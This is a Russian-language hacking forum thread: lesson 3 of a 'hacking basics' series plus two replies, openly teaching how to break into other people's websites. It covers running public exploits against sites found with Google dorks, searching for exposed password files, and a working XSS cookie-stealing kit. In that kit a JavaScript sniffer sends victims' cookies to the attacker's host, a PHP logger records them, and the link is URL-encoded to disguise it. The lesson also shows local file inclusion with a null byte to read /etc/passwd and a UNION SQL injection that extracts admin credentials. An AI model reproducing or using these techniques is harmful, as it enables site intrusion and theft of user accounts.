Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Старый 01.08.2010, 08:11   #1
 Сержант
Аватар для -SHiSH-
 
-SHiSH- никому не известный тип
Регистрация: 26.04.2010
Сообщений: 103
Популярность: 9
Сказал(а) спасибо: 6
Поблагодарили 48 раз(а) в 29 сообщениях
Отправить сообщение для -SHiSH- с помощью Skype™
 
По умолчанию Основы хакерства. Урок 3

Вступление.
Здравствуйте уважаемые читатели. Мы продолжаем значиться азами веб хакинга. Это 3 урок и вот какие темы мы сегодня разберем:

* Сплоиты – структура и использование
* Google hacking
* Более подробное изучение таких уязвимостей как:
-sql injection
-xss
-php include


Сплоиты.
Или эксплоиты. Это программы или скрипты которые автоматически реализуют какую либо уязвимость. Мы будем знакомиться с эксплоитами для веб приложений.
Кроме них существуют эксплоиты для прикладных программ. Они более сложные и тебе пока рановато их изучать.
Итак, возьмем инъекцию из прошлого урока

[Ссылки могут видеть только зарегистрированные пользователи. ]

Представим, что эта уязвимость была обнаружена в какой то СMS с названием CoolCMS
Что бы каждому кто хочет взломать этот движок не нужно было раскручивать sql injection самому,
мы напишем эксплоит, который будет реализовывать уязвимость и выдавать только логин и пароль администратора.
Приводить текст эксплоита я не буду а только разберем суть алгоритма:

Сначала нужно сделать обратиться к сайту с составленным запросом для вывода логина и пароля.
Далее нам вернется страничка с аккаунтом
Теперь нужно пропарсить страницу и найти логин пароль.

Все. Ну кончено это самый примитивный пример.
Но надеюсь ты понял зачем нужны эксплоиты. Алгоритм эксплоита привиденного выше можно реализовать практически на любом языке программирования.
Но обычно эксплоиты для веб приложений пишутся на PHP или Perl
Давайте теперь разберем классический сценарий:

Твоя цель взломать какой то сайт. Зайдя на него ты видишь в подвале такую надпись:
Power by PHP-nuke 8.0
Это значит сайт работает на движке найков.
Теперь нужно попробовать найти паблик эксплоиты под эту версию.
Можно пойти на багтрак, но я предпочитаю пользоваться поисковиком:
PHP-nuke 8.0 exploit
После непродолжительного парсинга ссылок мы находим сплоит:

[Ссылки могут видеть только зарегистрированные пользователи. ]

Видим надпись #!/usr/bin/perl
Это значит эксплоит написан на perl.
Далее видим это:
#0day exploit for PHP-nuke <=8.0 Final
0day – значит эксплоит нулевого дня. Т.е. под него еще не выпущено заплаток под эту версию.
Итак, сполит на перл. Если у тебя стоит linux то запустить его можно командой

Perl exploit.pl

С windows посложнее. Тут придется поставить интерпретатор для языка. Но не бойся это не сложно. Скачать его можно здесь
После установки можно так же воспользоваться командой perl в консоли.

Perl exploit.pl

Далее программа покажет необходимые аргументы для этого эксплоита.
В большинстве случаев понадобится только адрес сайта.
Таксс, раз разговор зашел про запуск давайте разберем как использовать php эксплоиты.
Вообще желательно поставить php+apache+mysql. Т.к. это пригодится нам в будущем для тестирования движков.
Apache - это сервер
mysql - это база данных.
Мануал по установке можно найти здесь.
После этого достаточно скопировать php сплоит в папку www и запустить из браузера.

localhost/exploit.php

Либо в командной строке набрать
php путь до сплоита
В следующем уроке разберем исходник настоящего эксплоита.

Google hacking.
Поиск бажных сайтов
Возьмем опять же уязвимость PHP-nuke 8.0. Давайте с помощью поисковика найден сайты которые построенные на основе этого движка.
К этим сайтам можно применить наш сплоит. Запрос в google будет примерно таким:
Site: PHP-nuke 8.0
Поисковик выдаст нам список сайтов, на которых присутствует строка: PHP-nuke 8.0. В большинстве случаев это буду сайты которые нам нужны. Потом открываем любой сайт и применяем сплоит.
Надеюсь понятно, что можно искать любые бажные движки. Можно просто зайти на любой багтрак и быбрать уязвимый двиг, под который есть сплоит. И далее с помощью гугла найти сайты с этим движком.
В прошлом уроке я показывал как искать ресурсы с возможным php include bug:

inurl: “page=”

inurl ищет указанную строку в адресе сайта
Можно сделать такой запрос:

inurl:”id=1”

и гугл выдаст ссылки, в которых присутствует строка id=1. Некоторые из них возможно уязвимы к sql injection.
А если сделать так:

inurl:”page=” and “.us”

То гугл найдет все сайты с которые находятся в зоне .us(американские)
Кстати, еще можно указать тип документа:

filetype:asp

Гугл выдаст нам найденные asp сценарии.
Поиск админки Теперь давайте разберем как гугл может помочь нам при атаке на конкретный сайт.
Во первых поиск административной панели aka админки. Бывают случаи, когда например с помощью sql injection удалось вытянуть аккаунт администратора, но найти админку не удается.
Вот стандартные пути:

[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]

Но бывает, что у админов есть немного мозгов. И они прячут админ панель в недры дирикторый сайта. Что бы найти их нам опять же поможет гугл
Site: [Ссылки могут видеть только зарегистрированные пользователи. ] admin
Или

Site: [Ссылки могут видеть только зарегистрированные пользователи. ] admin.php

Ну и тому подобные запросы.
А вот такой запрос найдет все текстовые файлы сайта

Site: [Ссылки могут видеть только зарегистрированные пользователи. ] filetype:txt

Можно попробовать поискать интересные файлы, что то вроде:

Site: [Ссылки могут видеть только зарегистрированные пользователи. ] filetype:txt password.


Продолжаем знакомится с xss php include sql injection
Xss
Итак, на прошлом уроке мы научились искать xss, сейчас я покажу из за чего проиходит ошибка и каким образом можно украсть и подменить файлы cookies.
Рассмотрим небольшой сценарий:

[form name="form" action="questbook.php" method="GET"]
[input type=text name="text"]

[input type=submit name="submit" value="Send"]
[?php
$message=$_GET[‘text’]; Echo $message; ?]

Сначала в переменную $message считывается значение text из массива GET. Далее мы просто выводим надпись. Что касается формы, то в ней расположены текстовое поле (text) и кнопка для отправки сообщения.
Так вот. Входящяя информация Никак не фильтруется, т.е. пользователь может ввести любые символы в текстовое поле.
А если ввести скрипт, то он сответстенно выполнится.
Фактически это и есть причина xss.
Так теперь даавйте попробуем украсть Куки.
У нас есть xss такого вида.

[Ссылки могут видеть только зарегистрированные пользователи. ][script]*******‘xss’)[/script]

Итак, давайте введем такой скрипт (можешь использовать xss с прошлого урока):

[Ссылки могут видеть только зарегистрированные пользователи. ][script]*******document.cookie)[/script]

Такой скрипт выдаст нам наши Куки. Но нам нужны Куки юзера(админа), причем Куки эти нужно записать в лог файл.
Дело в том, что читать Куки от данного сайта, может только сам данный сайт. Поэтому поступаем так:
Регестрируемся на бесплатном хостинге с поддержкой php (в конце приведу список), далее создаем файл Snif.js таким содержанием:

Snif.js document.write('[****** width=1 height=1 style="position: absolute; visibility: hidden;"
src="'+'http://хост/write.php'+'?host='+location.host+'&cook='+documen t.cookie+'"][/******]');

Этот код открывает невидимый фрейм, в котором загружается файл 'http://хост/write. (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу).
Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта.
Далее в сценарии write.php мы просто запишем файлы Кук:

Write.php
[?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[‘host’].", COOKIES=”.$_GET[‘cook’].”rn");
fclose($file);
?]

Такс у нас есть файл с javascript кодом который ворует Куки, у нас есть файл которые эти Куки сохраняет. А скрипт в xss будет такой:

[Ссылки могут видеть только зарегистрированные пользователи. ][script src=http://хост/snif.js][/script]

Все, осталось только дать ссылку жертве.
Напоследок вот еще что выше привиденный адрес довольно подозрительный. Его лучше закодировать в шестнадцатеричный код. Это можно сделать здесь. В разделе En/De Coder нужно выбрать Url Encode.

PHP include
Опять же наипростейший пример:

[?php
$f=$_GET[‘file’];
if(file_exists($f))
Include(‘file’);
?]

Как видишь функция include подгружает указанный файл. Проме include существует почти аналогичная функция require.
Так вот. Данные берутся из get массива. Т.е. мы легко из можем подделать:
[Ссылки могут видеть только зарегистрированные пользователи. ] [Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ] Это пример из прошлого урока. Теперь разберем еще один кусок кода:

[?php
$f=$_GET[‘file’];
$f2=fopen(“$f.txt”,r));
?]

Тут уже используется функция fopen, которая также уявзима.
В коде мы к имени файла прибавляем расширение .txt т.е. когда мы будет пытаться читать локальные файлы это будет выглядеть так:

/etc/passwd.txt


Естественно ничего мы прочитать не сможем. Выход использовать NULL байт.
%00 – нуль байт. После его вставки часть строки обрубается.
Смотри:

/etc/passwd%00.txt

В итоге будет:

/etc/passwd

А вот на примере:

[Ссылки могут видеть только зарегистрированные пользователи. ]

Бывает что и это не помогает прочитать файлы. Иногда нужно подняться на несколько дирикторий выше что бы появилась возможность посмотреть файл. Смотрим на примере:

[Ссылки могут видеть только зарегистрированные пользователи. ]

Итак во первых – для просмотра файла /etc/passwd нужно перейти в корневую дирикторию и далее зайти в папку /etc.
Тоeсть сначала мы добираемся до корня. Это делается с помощью двух точек и слеша. Дело в том что в unix системах ..
означает каталог выше. Т.к. расположение файла неизвестно и надежнее будет поставить побольше знаков «../»
Всегда обращай внимание на ошибки которые появляются после вставки какого либо запроса.
Вот смоти:

Php include bug
[Ссылки могут видеть только зарегистрированные пользователи. ][hacked]

Смотрим на ошибку:

Warning: include(content/[hacked].php) [function.include]: failed to open stream: No such file or directory in /home/httpd/htdocs/sportstalk/page.php on line 23

Как видишь используется функция include() к имени прибавляется расширение .php, значит нужен NULL byte, к томуже мы узнали расположение текущего сценария (/home/httpd/htdocs/sportstalk/page.php).

SQL injection
На прошлом уроке я обещал подробнее рассказать про уязвимость SQL injection, этим мы сейчас и займемся.
Во первых разберем небольшую иерархию.

База данных
Таблица
Столбец
Поле

На примере это выглядит так:

База данных onlineshop
Таблица onlineshop.users
-----------------------
| Login password |
------------------------
Stas 123456
Misha 123456
Maxim 123456
Roma 123456
------------------------

Что сдесь что?:
Login password это столбцы. Имена пользователей и пароли это поля. Вот собственно и все. А вот так составляется запрос в php:
…………..
$q=”SELECT * FROM USERS where login=$login password=$pass”
…………..
Во первых

SELECT – выбирает данные из таблицы

Where – задает условие, т.е. в нашем случае нам нужно выбрать данные с определнные логином и паролем.
Вот собственно и ошибка. Если подставить $login или $pass не фильтруются, то появляется возможность выполнять SQL команды.


Теперь конкретно как мы это делаем:
Допустим где то на сайте нашли ниъекцию:

[Ссылки могут видеть только зарегистрированные пользователи. ]

Далее мы подобрали что столбцов 6:
Активные 3,4

[Ссылки могут видеть только зарегистрированные пользователи. ] id=1’+union+select+1,2,login,password,5,6+from+onl ineshop.users /*

Это покажет нам аккаунт первого пользователя. Как правило таковым является администратор. Если нужно выбрать конкретного пользователя поступаем там:

[Ссылки могут видеть только зарегистрированные пользователи. ] 1,2 /*

Так выбираем 2 пользователя.
Замечу что знак пробела мы заменяем символом +. А знак /* означает комментарий. Значит после этого знак весь ненужным запрос будет обрезан.
И еще – допустим с помощью order by мы подобрали кол во столбцов.
Делаем так:

[Ссылки могут видеть только зарегистрированные пользователи. ]

По идее мы должны увидить читабельные столбцы, но бывает, что вывода не проиходит.
Тогда нужно поступать так:

[Ссылки могут видеть только зарегистрированные пользователи. ]


Послесловие:
Ну вот.
Советую получше изучить mysql и php, а также как они взаимодействуют друг с другом.
На следущем уроке мы будет разбирать реальный сплоит. Также я расскажу про ReversIP. Покажу несколько инструментов, которые пригодятся при взломе. Так же мы будет продолжать знакомится с уязвимостями.
Я расскажу что такое обход фильтрации в xss В разделе про PHP include мы будем разбирать как читать и
использовать в своих целях логии apache. Еще мы конечно же будет подробнее изучать скуль инъекции. Покажу опять же обход фильтрации и особенности 5 ветки mysql
Ps в комментариях прошу не флудить. Лучше задавайте вопросы по статье.
Несколько бесплтных хостингов с поддержкой php
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
Урок 4
________________
[Ссылки могут видеть только зарегистрированные пользователи. ] [Ссылки могут видеть только зарегистрированные пользователи. ]

Последний раз редактировалось -SHiSH-; 01.08.2010 в 08:32.
  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
*AnDRoN* (06.04.2011), Buldog_06 (06.04.2011)
Старый 28.03.2011, 13:14   #2
 Разведчик
Аватар для JIyHTNK
 
JIyHTNK никому не известный тип
Регистрация: 21.03.2011
Сообщений: 1
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Основы хакерства. Урок 3

Можешь ответить, почему когда я ввожу адреса сайтов, то визуально я не вижу измен???? Ты подставляешь к основному названию сайта различные значения,но сайт открывается точно так же....в чём суть???
  Ответить с цитированием
Старый 28.03.2011, 16:10   #3
Заблокирован
 Капитан
Аватар для TeedI
 
TeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака НоррисаTeedI троюродный дядя Чака Норриса
Регистрация: 11.08.2010
Сообщений: 254
Популярность: 9232
Сказал(а) спасибо: 300
Поблагодарили 334 раз(а) в 223 сообщениях
Отправить сообщение для TeedI с помощью ICQ
 
По умолчанию Re: Основы хакерства. Урок 3

Цитата:
Сообщение от JIyHTNKПосмотреть сообщение
Можешь ответить, почему когда я ввожу адреса сайтов, то визуально я не вижу измен???? Ты подставляешь к основному названию сайта различные значения,но сайт открывается точно так же....в чём суть???

Это так скажем тренировка ;)
Для sql инекции делам запрос в Google inurl:asp?id=
Для php иньекции inurl:php.?id= inurl:page=
Для проверки сайта на xss уязвимость есть скрипт <script>*******)</script>
подставляем его в поиск чат и т.д

Последний раз редактировалось TeedI; 28.03.2011 в 16:26.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Основы хакерства. Урок 2 -SHiSH- Web-программирование и технологии 0 01.08.2010 08:09
Прокачка сабов или основы , на Lineage.ru bonecrusher Подполье Lineage 2 (0 уровень) 3 29.10.2009 23:18

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 20:15.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net